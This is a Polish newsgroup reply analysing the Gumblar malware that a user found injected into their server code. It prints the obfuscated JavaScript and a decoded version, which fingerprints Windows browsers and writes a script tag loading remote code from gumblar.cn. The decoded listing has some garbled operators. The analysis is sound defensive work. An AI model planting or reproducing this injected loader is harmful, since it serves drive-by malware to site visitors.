🚀 go-pugleaf

smerf wrote:
> Pojawił się w moich kodach na serwerze wirus.
> Czy ktoś już to debugował i może powiedzieć w skrócie jak to działa ?

base64_decode(TMP_XHGFJOKL) da nam po sformatowaniu coś w ten deseń:

<script language=javascript>
<!--
(function()
{
	var wEn=('var.20a.3d.22.53.63.72i.70tE.6egi.6e.65.22.2cb.3d.22V.65r.73i.6fn.28)+.22.2cj.3d.22.22.2cu.3d.6eav.69g.61t.6fr.2euser.41ge.6et.3bi.66((u.2ei.6e.64.65xOf.28.22.57in.22).3e0).26.26(u.2ei.6edexO.66(.22.4e.54.206.22.29.3c.30.29.26.26.28d.6f.63ume.6et.2ecooki.65.2e.69nde.78O.66(.22m.69ek.3d1.22).3c0.29.26.26(typeof(.7arvzts).21.3dtype.6ff(.22A.22.29.29).7bz.72vzts.3d.22.41.22.3bev.61.6c(.22if(window.2e.22+a+.22)j.3dj+.22+a+.22M.61jor.22+b+a.2b.22Mi.6eor.22.2b.62+a+.22Buil.64.22.2bb+.22.6a.3b.22).3bd.6fcument.2ew.72.69te(.22.3cscr.69p.74.20src.3d.2f.2fgumbl.61r.2ec.6e.2f.72ss.2f.3fid.3d.22+.6a+.22.3e.3c.5c.2fscript.3e.22).3b.7d').replace(/./g,'%');
	eval(unescape(wEn))
}
)();
-->
</script>


Jeśli to potraktujemy str_replace('.', '%') a następnie urldecode(),
dostaniemy już czytelniejsze:

<script language=javascript>
<!--
(function()
{
	var wEn=('
		var a="ScriptEngine",
		b="Version() ",
		j="",u=navigator.userAgent;
		if(
			(u.indexOf("Win")>0) &&
			(u.indexOf("NT 6")<0)&&
			(document.cookie.indexOf("miek=1")<0)
			&&(typeof(zrvzts)!=typeof("A"))
		  )
		{
			zrvzts="A";
			eval("if(window." a ")j=j " a "Major" b a+"Minor"+b a "Build"+b "j;");
			document.write("<script src=//gumblar.cn/rss/?id=" j "><\/script>");
		}
		')%replace(/%/g,'%');
		
		eval(unescape(wEn))
}
)();


Na moje oko w gumblar.cn/rss/?id=....
będzie body funkcji, lub coś co je też "wygeneruje" (function())()
ale to już NTG.

http://en.wikipedia.org/wiki/Gumblar
http://www.google.pl/search?q=gumblar